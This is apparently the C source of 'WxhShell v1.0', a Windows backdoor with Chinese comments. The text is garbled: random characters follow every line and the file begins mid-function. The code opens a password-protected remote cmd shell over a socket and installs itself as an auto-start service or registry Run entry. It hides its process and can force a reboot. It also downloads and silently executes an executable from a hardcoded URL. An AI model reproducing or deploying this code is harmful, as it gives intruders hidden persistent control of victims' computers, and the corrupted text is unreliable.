    if(Boot(SHUTDOWN)) }P3tn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'u4ezwF;  
    else { zd]D(qeX  
    closesocket(wsh); TrdZJ21#M  
    ExitThread(0); KvQ,;A  
    } CAT.4GM  
    break; !vn1v)6  
    } ^VT1vu %03  
  // 获取shell @h?shW=^  
  case 's': { &/A 8-:m  
    CmdShell(wsh); 1G7b%yPA  
    closesocket(wsh); < pTTo  
    ExitThread(0); 3jogD  
    break; E1&b#TE 6O  
  } z5*=MlZ)R.  
  // 退出 jEz+1Nl)  
  case 'x': { @=5qT]%U3J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :y2p@#l#  
    CloseIt(wsh); L&-hXGx=7  
    break; $hR)i  
    } =TP( UJ  
  // 离开 D^U: ih  
  case 'q': { ]0B|V2D#e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >O/ D!j|  
    closesocket(wsh); )c/Fasfg[P  
    WSACleanup(); GFk1/ F  
    exit(1); zciCcrJ  
    break; .bD_R7Bi6  
        } \uG`|D n  
  } -xg2q V\c  
  } uE=$p)  
m6 s7F/  
  // 提示信息 ]v G{kAnH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); : t$l.+B  
} U"f ??y%)  
  } fQnwy!-\  
sP'0Sl~NU  
  return; 1\L[i];L8  
} d {2  
~e@>zoM'^  
// shell模块句柄 @OV-KT[>  
int CmdShell(SOCKET sock) wzjU,Mw e  
{ /cFzotr"9  
STARTUPINFO si; Fk=}iB#(  
ZeroMemory(&si,sizeof(si)); Hqz?E@bc@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Wk4.%tpeO7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G+*cpn  
PROCESS_INFORMATION ProcessInfo; f DgD@YCD  
char cmdline[]="cmd"; %m{U& -(l@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kJs^ z  
  return 0; i;PL\Er:tX  
} I/x iT  
iF+RnWX\  
// 自身启动模式 jY!ZkQsVe  
int StartFromService(void) "()sb?&  
{ }i!pL(8;  
typedef struct S06Hs~>Y  
{ f!t69nd%L  
  DWORD ExitStatus; \ u+xa{b|  
  DWORD PebBaseAddress; aaWJ* >rJ  
  DWORD AffinityMask; V_U'P>_I  
  DWORD BasePriority; M~6@20$oW  
  ULONG UniqueProcessId; O$ !* %TL  
  ULONG InheritedFromUniqueProcessId; !wLg67X$ -  
}   PROCESS_BASIC_INFORMATION; k /EDc533d  
eyw'7  
PROCNTQSIP NtQueryInformationProcess; VY 1vXM3y  
qBk``!|s]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oCi ~P}r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; CPazEe1S  
S(eQ{rSs  
  HANDLE             hProcess; Ja^ 5?Ar|  
  PROCESS_BASIC_INFORMATION pbi; @nV5.r0W}B  
!{_yaVF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;eB ~H[S/  
  if(NULL == hInst ) return 0; 9vGs;  
f%qt)Ick  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?Ce#BwQ>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Vs 0 SXj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ":?T%v>  
\ SCy$,m  
  if (!NtQueryInformationProcess) return 0; `kN #4p  
~KIDv;HSb[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jkrx]`A{~  
  if(!hProcess) return 0; {GqXP0'  
zz$q5[n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &;q<M_<  
NSLVD[yT  
  CloseHandle(hProcess); iT )WR90  
q(z7~:+qNr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eTE2J~\  
if(hProcess==NULL) return 0; P]<= ! F  
Sg*0[a3z  
HMODULE hMod; 0??Yr  
char procName[255]; [!*xO?yCJ  
unsigned long cbNeeded; EH9Hpo  
,qFA\cO*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~0tdfK0c  
yDd[e]zS`  
  CloseHandle(hProcess); 1-;?0en&0  
jPu5nwvUV>  
if(strstr(procName,"services")) return 1; // 以服务启动 =LH}YUmd  
h#f&|* Q5m  
  return 0; // 注册表启动 4B O %{  
} @6xGJ,s  
89eq[ |G_  
// 主模块 d;suACW  
int StartWxhshell(LPSTR lpCmdLine) 0my9l;X   
{ ML!9:vz  
  SOCKET wsl; .{rbw9  
BOOL val=TRUE; r:.uBc&_  
  int port=0; \gKdD S  
  struct sockaddr_in door; =q CF%~  
D,W\ gP/h%  
  if(wscfg.ws_autoins) Install(); . 5hp0L}  
0-e  
port=atoi(lpCmdLine); M23& <}Q8  
nX x=1*X  
if(port<=0) port=wscfg.ws_port; {gkwOMW  
2)LX^?7R  
  WSADATA data; /(6zsq'v|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }ymvC  
w6,*9(;$Pk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6&!l'[hU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (.^8^uc 7X  
  door.sin_family = AF_INET; [ #]jC[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LF=c^9t  
  door.sin_port = htons(port); wL eHQ]  
!]DuZ=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )bW<8f2  
closesocket(wsl); X=_Z(;<&  
return 1; kO3 `54  
} H @!#;w  
D9,! %7i  
  if(listen(wsl,2) == INVALID_SOCKET) { &:vsc Ol  
closesocket(wsl); )A83A<~  
return 1; #MM &BC  
} %-^}45](q  
  Wxhshell(wsl); 9/;{>RL=  
  WSACleanup(); @l,{x|00  
q+/l"&j.  
return 0; BjD&> gO)  
EzP#Mnz^  
} bXl8v  
l P0k:  
// 以NT服务方式启动 Ow3a0cF[9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m`9^.>]P  
{ kMS5h~D[  
DWORD   status = 0; 0eA5zFU7  
  DWORD   specificError = 0xfffffff; b>=7B6 Aw  
m3?e]nL4W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hAa[[%wPhU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (v;A'BjN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6lU|mJ`M  
  serviceStatus.dwWin32ExitCode     = 0; FE6C6dW{  
  serviceStatus.dwServiceSpecificExitCode = 0; 5'9.np F)  
  serviceStatus.dwCheckPoint       = 0; i<:p.ug-O  
  serviceStatus.dwWaitHint       = 0; N !IzB]  
Y\8+}g;KR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SKx e3  
  if (hServiceStatusHandle==0) return; /+P5)q TKL  
hO;9Y|y  
status = GetLastError(); zlMlMyG4  
  if (status!=NO_ERROR) cs5ix"1A  
{ 8nu> gA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hT=f;6$  
    serviceStatus.dwCheckPoint       = 0; *f*f&l%  
    serviceStatus.dwWaitHint       = 0; !rHx}n{rw  
    serviceStatus.dwWin32ExitCode     = status; TolrEcI  
    serviceStatus.dwServiceSpecificExitCode = specificError; +E#PJ_H=F8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z[biK|YL  
    return; $B ?? Ip?P  
  } Y UZKle  
i@{*O@m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lVT&+r~r  
  serviceStatus.dwCheckPoint       = 0; [D9:A  
  serviceStatus.dwWaitHint       = 0; "i''Ui\H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2lJZw@  
} y*|L:!   
x~(y "^ph  
// 处理NT服务事件,比如:启动、停止 ^6&_| f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) UC#"=Xd 4  
{ <[5#c*A  
switch(fdwControl) G|V\^.f<  
{ (olLB  
case SERVICE_CONTROL_STOP: TPqvp|~2  
  serviceStatus.dwWin32ExitCode = 0; D?J#u;h~f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u7 ~mn l  
  serviceStatus.dwCheckPoint   = 0; L`pY27 |  
  serviceStatus.dwWaitHint     = 0; UhA_1A'B  
  { ul$omKI$}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %O Fj  
  } Avd *~  
  return; X=#It&m%s  
case SERVICE_CONTROL_PAUSE: AA_@\: w^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T8mY#^sW_  
  break; 'W+i[Ep5Q  
case SERVICE_CONTROL_CONTINUE: G)4SWu0<t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ytob/tc  
  break; PuU*vs3  
case SERVICE_CONTROL_INTERROGATE: 8iOO1I?+  
  break; VB's  
}; y\z*p&I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ( w5f(4  
} [^Q&suy  
.CvFE~  
// 标准应用程序主函数 +|M{I= 8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?0m?7{  
{ u<C $'V  
h/{8bC@bi  
// 获取操作系统版本 Bf+^O)Ns^  
OsIsNt=GetOsVer(); YjL t&D:IZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W`5a:"Vg  
[Q=4P*G}X  
  // 从命令行安装 m"q/,}DR  
  if(strpbrk(lpCmdLine,"iI")) Install(); }eI`Qg  
CCn/ udp@  
  // 下载执行文件 e-jw^   
if(wscfg.ws_downexe) { " C&x ,Ic  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IF^[^^v+H  
  WinExec(wscfg.ws_filenam,SW_HIDE); xLZMpP5c  
} @,GjeF]!  
.2/,XwIr  
if(!OsIsNt) { QWQ!Ak  
// 如果时win9x,隐藏进程并且设置为注册表启动 WySNL#>a  
HideProc(); 4xpj<  
StartWxhshell(lpCmdLine); h9U+ %=^O  
} J/= +r0c  
else q1P :^<[  
  if(StartFromService()) =J`gGDhGY-  
  // 以服务方式启动 s v6INe:  
  StartServiceCtrlDispatcher(DispatchTable); qZ233pc  
else vD_u[j]  
  // 普通方式启动 u9 %;{:]h  
  StartWxhshell(lpCmdLine); 3m3 EXz  
MHGjvSx  
return 0; d`UF0T  
} *J.c $1#h  
e7h\(`J0lj  
gfx oJihE  
]u~Os<   
=========================================== W.z$a.<(rF  
fHLFeSfH  
aQxe)  
7Onk!NH  
3V"dG1?  
q$3HvZP  
" kGruo5A  
CJ0$;et  
#include <stdio.h> nhp)yW  
#include <string.h> x Ridc^  
#include <windows.h> %;'~%\|dZM  
#include <winsock2.h> B%)zGTp6  
#include <winsvc.h> QZ#3Bn%B5  
#include <urlmon.h> :l4^iSf  
ysL0hwir  
#pragma comment (lib, "Ws2_32.lib") j-j'phK  
#pragma comment (lib, "urlmon.lib") ,!jR:nApE  
JThk Wx  
#define MAX_USER   100 // 最大客户端连接数 m9%yR"g9  
#define BUF_SOCK   200 // sock buffer CgN]dx* `  
#define KEY_BUFF   255 // 输入 buffer 3e#x)H/dr  
>\Z lZ  
#define REBOOT     0   // 重启 $#F;xys  
#define SHUTDOWN   1   // 关机 z9I1RX V  
:fl*w""V@  
#define DEF_PORT   5000 // 监听端口 bb*c+XN0  
A&D2T  
#define REG_LEN     16   // 注册表键长度 P>.Y)$`r  
#define SVC_LEN     80   // NT服务名长度 t>XZ 3  
 fF\*v  
// 从dll定义API Y"r3i]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 58qaA\iw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o-L|"3 P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^ b=5 6~[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2Y9y5[K,F)  
"tqS|ok.  
// wxhshell配置信息 unx;m$-c  
struct WSCFG { 3S;>ki4(0  
  int ws_port;         // 监听端口 :8GlyN<E  
  char ws_passstr[REG_LEN]; // 口令 \ x3^  
  int ws_autoins;       // 安装标记, 1=yes 0=no IiG4ib>)W  
  char ws_regname[REG_LEN]; // 注册表键名 @>d&5}F_>{  
  char ws_svcname[REG_LEN]; // 服务名 `' dX/d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~3LhcU-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f<Va<TL6-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K!pxDW}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ej-=y2j{g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mMel,iK=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $_4oN(WSz  
jI@bTS o  
}; 40`9t Xn  
l=Vowx.$2f  
// default Wxhshell configuration nC-c8y  
struct WSCFG wscfg={DEF_PORT, dY/|/eOt<K  
    "xuhuanlingzhe", %iHyt,0v2  
    1, [GcA.ABz  
    "Wxhshell", A}az m>  
    "Wxhshell", }Z~pfm_S  
            "WxhShell Service", 8Sd?b5|G~  
    "Wrsky Windows CmdShell Service", " 8~f  
    "Please Input Your Password: ", V#n?&-{V  
  1, 1^n5CI|7u  
  "http://www.wrsky.com/wxhshell.exe", iKP\/LR<n  
  "Wxhshell.exe" pZni,< Q  
    }; SQz$kIZR  
>FK)p   
// 消息定义模块 ,Y78Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w*|=k~z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Sn{aHH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mtiO7w"M\7  
char *msg_ws_ext="\n\rExit."; ' lQ  
char *msg_ws_end="\n\rQuit."; <z~2d  
char *msg_ws_boot="\n\rReboot..."; HYa$EE2  
char *msg_ws_poff="\n\rShutdown..."; hlABu)B'1  
char *msg_ws_down="\n\rSave to "; j TB<E=WC  
r"Hbr Qn  
char *msg_ws_err="\n\rErr!"; X^?|Sz<^E  
char *msg_ws_ok="\n\rOK!"; 7]<F>97  
vV$hGS(f~  
char ExeFile[MAX_PATH]; p*(U*8Q  
int nUser = 0; nN(D7wk  
HANDLE handles[MAX_USER]; 6!gtve_  
int OsIsNt; -Z[R S{#+T  
s[vPH8qb  
SERVICE_STATUS       serviceStatus; vTe$77n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .(gT+5[  
EU?&  
// 函数声明 i9f7=-[U_  
int Install(void); `\WcF7  
int Uninstall(void); i-Ge *?  
int DownloadFile(char *sURL, SOCKET wsh); (50[,:#  
int Boot(int flag); /e j/&x15  
void HideProc(void); A*-]J=:E {  
int GetOsVer(void); ILu0J`;}  
int Wxhshell(SOCKET wsl); @8 oDy$j  
void TalkWithClient(void *cs); {GG~E54&B  
int CmdShell(SOCKET sock); 0C"PC:h5  
int StartFromService(void); 7Y_fF1-wY  
int StartWxhshell(LPSTR lpCmdLine); O9Jx%tolF%  
YokZar2a0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H L}sqcp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o[Wagg.%  
G{&yzHAuae  
// 数据结构和表定义 O=!)})YG  
SERVICE_TABLE_ENTRY DispatchTable[] = c"QkE*  
{ Bp=oTC G  
{wscfg.ws_svcname, NTServiceMain}, priT 7!  
{NULL, NULL} e$FAhwpon  
}; n '0 $>Q  
5pKvNLy.t  
// 自我安装 Tvksf!ba  
int Install(void) pJ)+}vascR  
{  '!r+Tz  
  char svExeFile[MAX_PATH]; Jfixm=.6  
  HKEY key; } K hq  
  strcpy(svExeFile,ExeFile); \h'E5LO  
|4?}W ,  
// 如果是win9x系统,修改注册表设为自启动 CLFxq@%nu~  
if(!OsIsNt) { jmk*z(}#:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8R??J>h5\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); avbr7X(  
  RegCloseKey(key); Ma*dIwEp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _L `N^I.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [Q.4]K2  
  RegCloseKey(key); a|6x!p2X  
  return 0; Te U7W?M^  
    } r%m7YwXo  
  } kS\.  
} 4, *^QK  
else { bN7UO  
aJa^~*N/Aa  
// 如果是NT以上系统,安装为系统服务 h3;o!FF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H-\ {w    
if (schSCManager!=0) >`rNT|rg  
{ 5sh u76  
  SC_HANDLE schService = CreateService _ \y0 mc4  
  ( 057G;u/  
  schSCManager, 8.;';[  
  wscfg.ws_svcname, P9tQS"Rs  
  wscfg.ws_svcdisp, /qz "I-a  
  SERVICE_ALL_ACCESS, |au qj2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >kDdWgRQ  
  SERVICE_AUTO_START, 5[j!\d}U  
  SERVICE_ERROR_NORMAL, u6S0t?Udap  
  svExeFile, 4htSwK+  
  NULL, ==jw3_W  
  NULL, &8_#hne_  
  NULL, a@_Cx  
  NULL, :C:N]6_{SZ  
  NULL >$S,>d_k`  
  ); yzM+28}L<I  
  if (schService!=0) eE.5zXU3R  
  { a+>W  
  CloseServiceHandle(schService); ?:''VM.  
  CloseServiceHandle(schSCManager); mP$G9R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Jr>S/]"  
  strcat(svExeFile,wscfg.ws_svcname); U3j~}H.D1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gHh.|PysW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @;n$caw  
  RegCloseKey(key); VgZaDd;  
  return 0; 5q_OuZ/6  
    } Uh|__DUkh  
  } r)#"$Sm  
  CloseServiceHandle(schSCManager); )`+@j.75  
} b\0Q:  
} .dKRIFo  
yL3<X w|  
return 1; 7U[L\1zS  
} | 8L`osg  
Va |9)m  
// 自我卸载 kW2nrkF  
int Uninstall(void) K%TKQ<R|  
{ < 8 Y<w|Hh  
  HKEY key; n-b<vEZw#  
P7k$^n  
if(!OsIsNt) { !{ESeBSCG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gy,TT<1)  
  RegDeleteValue(key,wscfg.ws_regname); Ualq>J5-m-  
  RegCloseKey(key); _hyxKrm' 6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aEqI51I  
  RegDeleteValue(key,wscfg.ws_regname); n40MP5RxY  
  RegCloseKey(key); 5fx,rtY2sQ  
  return 0; i(f;'fb*  
  } 6[h$r/GXh"  
} %Rsf6rJ  
} =Wy`X0h  
else { ! 7*_Z=  
`i)ePiE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5f*'wA  
if (schSCManager!=0) vsz^B :j  
{ b;{"lJ:+Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?6YUb;  
  if (schService!=0) d,rEEc Y  
  { j]l}K*8(  
  if(DeleteService(schService)!=0) { FeeWZe0i  
  CloseServiceHandle(schService); )< a8a@  
  CloseServiceHandle(schSCManager); G* ~*2>~  
  return 0; 73z|'0.  
  } vwH7/+  
  CloseServiceHandle(schService); .q9|XDqQc  
  } oJJ k  
  CloseServiceHandle(schSCManager); Ee\-q  
} )4_6\VaM  
} .yfqS|(  
<&0*5|rR  
return 1; Q%VR@[`\  
} 2au(8IWu  
m3xj5]#^$  
// 从指定url下载文件 ?M-8Fp3 +  
int DownloadFile(char *sURL, SOCKET wsh) j _9<=Vu  
{ >.wd)  
  HRESULT hr; #M^Yh?~%w  
char seps[]= "/"; ;6 qdOD6  
char *token; *;yMD-=  
char *file; = 4WZr  
char myURL[MAX_PATH]; Nl<,rD+KSD  
char myFILE[MAX_PATH]; ^}7t:  
-QI`npsnV  
strcpy(myURL,sURL); p+sPCF  
  token=strtok(myURL,seps); ~5!TV,>ls  
  while(token!=NULL) ftU5 A@(T  
  { Hr*Pi3dSI  
    file=token; YB3=ij!K  
  token=strtok(NULL,seps); f uN XY-;  
  } RowiSW  
Ru')X{]25  
GetCurrentDirectory(MAX_PATH,myFILE); )zt4'b\)v  
strcat(myFILE, "\\"); RrpF i'R  
strcat(myFILE, file); "sx&8H"  
  send(wsh,myFILE,strlen(myFILE),0); 9w<Bm"G  
send(wsh,"...",3,0); 1HWJxV"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j4SG A#;v  
  if(hr==S_OK) 0\ w[_H  
return 0; *#^1rKGWK  
else qq_,"~  
return 1; ^`MDP`M;  
~d `4W<1a  
} ;GT)sI   
Jb.u^3R@  
// 系统电源模块 Ib8{+j  
int Boot(int flag) 3 DHA^9<q  
{ ?[B[ F  
  HANDLE hToken; D=sc41]  
  TOKEN_PRIVILEGES tkp; j"u)/A8*  
M>gZVB,eP>  
  if(OsIsNt) { T<?BIQz(}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +* {5ORq=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~%:p_td  
    tkp.PrivilegeCount = 1; F-,{+B66  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @CI6$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GiwA$^Hg\  
if(flag==REBOOT) { _1c_TMh}9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *`.{K12T  
  return 0; 5g>kr< K  
} >b?)WNk  
else { *9(1:N;#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jyH_/X5i7  
  return 0; K/+C6Y?  
} 10IPq#Jj  
  } [gp:nxyfQm  
  else { Iw7r}G  
if(flag==REBOOT) { I8;[DP9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F/>Pv q]  
  return 0; ^tcBxDC"]  
} azc:C  
else { Hbc&.W;g7[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +##I4vP  
  return 0; Bic { H  
} X hX'*{3k  
} k K|+W,  
!*UdY(  
return 1; )_K@?rWS  
} !QS<;)N@  
'\\Cpc_g  
// win9x进程隐藏模块  PuCA @qY  
void HideProc(void) 4F6o  
{ /-4B)mL  
%\&dFwb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wx5*!^&j  
  if ( hKernel != NULL ) Wj=ex3K3u.  
  { rXPx* /C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VVl-cU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); NWK_(=n  
    FreeLibrary(hKernel); ,x.)L=Cx8  
  } g^UWf<xp  
S]=Vr%irX  
return; }?kO<)d  
} q:sR zX  
R_n-&d 'PP  
// 获取操作系统版本 [V0h9!  
int GetOsVer(void) s2=X>,kz?  
{ S9oGf  
  OSVERSIONINFO winfo; Rj`Y X0?+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S`w)b'B!M  
  GetVersionEx(&winfo); !PIdw~YC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $Xc<K_Z  
  return 1; ITlkw~'G  
  else j!7Uj]  
  return 0; ;}'<`(f&nX  
} D+""o"%  
jloyJ@ck  
// 客户端句柄模块 Ib2pV2`h(  
int Wxhshell(SOCKET wsl) |R/50axI  
{ AB\4+ CLV  
  SOCKET wsh; 3y,?>-  
  struct sockaddr_in client; 7'uc;5:  
  DWORD myID; RhmVHhj  
!#qB%E]a  
  while(nUser<MAX_USER) uZI a-b  
{ CHI(\DXNs  
  int nSize=sizeof(client); ;g]+MLV9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r^^C9"  
  if(wsh==INVALID_SOCKET) return 1; 1Di&vpn0u  
uK5x[m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N@0scfO6<  
if(handles[nUser]==0) _I4sy=tYXK  
  closesocket(wsh); q:.BY}X9  
else >K%x44|  
  nUser++; =T$- #bA)  
  } ]#n4A|&H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NLY5L7  
K_n%`5  
  return 0; &_j4q  
} 3k^jR1  
m5{SPa,y  
// 关闭 socket !F)oX7"  
void CloseIt(SOCKET wsh) ;D:T ^4  
{ nVzo=+Yp  
closesocket(wsh); GK&Dd"v  
nUser--; E76:}(  
ExitThread(0); BUyA]  
} --kK<9J7  
`0:@`)&g1  
// 客户端请求句柄 9lV'3UG-?  
void TalkWithClient(void *cs) 4PQWdPv;  
{ 7!%"8Rl-  
f lB2gr^  
  SOCKET wsh=(SOCKET)cs; .SN]hLV5  
  char pwd[SVC_LEN]; T 1=M6iJ  
  char cmd[KEY_BUFF]; :TI1tJS~*  
char chr[1]; vE(Hy&Q&  
int i,j; Dzr5qP?#  
z, [ +  
  while (nUser < MAX_USER) { 2wQ CQ"  
>qA&;M  
if(wscfg.ws_passstr) { SZvsJ)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [_n|n"M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G2D<LRWt4  
  //ZeroMemory(pwd,KEY_BUFF); $ cSZX#\  
      i=0; n4johV.#  
  while(i<SVC_LEN) { ?f..N,s  
Kq$1lPI  
  // 设置超时 7ZZt|bl  
  fd_set FdRead; K#r` ^aUc  
  struct timeval TimeOut; I]X<L2  
  FD_ZERO(&FdRead); LKcrr;  
  FD_SET(wsh,&FdRead); @HI5; z  
  TimeOut.tv_sec=8; }R$%MU5::  
  TimeOut.tv_usec=0; plfB} p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I2'?~Lt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $hio (   
mz1g8M`@[D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T*m21<  
  pwd=chr[0]; `2B+8,{%  
  if(chr[0]==0xd || chr[0]==0xa) { Bx F  
  pwd=0; dp_q:P4; B  
  break; ZV;yXLx|  
  } qv6]YPP  
  i++; ^iNR(cwgX  
    } uk,f}Xc  
=xoTH3/,>  
  // 如果是非法用户,关闭 socket 7|rT*-Ia  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X6RM2  
} 9[M u   
7(H/|2;-d8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zYgLGwi{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GcuZPIN%D  
>nX'RE|F  
while(1) { EcU9Tm`h  
wal }[F#  
  ZeroMemory(cmd,KEY_BUFF); |4vk@0L  
P; Ox|  
      // 自动支持客户端 telnet标准   WlUE&=|Oz2  
  j=0; #Z :r  
  while(j<KEY_BUFF) { I/g]9 y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6F2}|c  
  cmd[j]=chr[0]; rQJoaP+\q  
  if(chr[0]==0xa || chr[0]==0xd) { YC~+r8ME$j  
  cmd[j]=0; F/8y p<_r  
  break; J$0*K+m  
  } ?W()Do1tR  
  j++; _EP}el  
    } I$$!YMm.N  
i+}M#Y-O  
  // 下载文件 ("Zi,3"+  
  if(strstr(cmd,"http://")) { -IE;5f#e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d9s"y?8  
  if(DownloadFile(cmd,wsh)) !SnpesTn  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8Ex0[ e  
  else bTj,5,8 i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6o!"$IH4  
  } U/>5C:  
  else {  l}JVRU{  
~0L>l J  
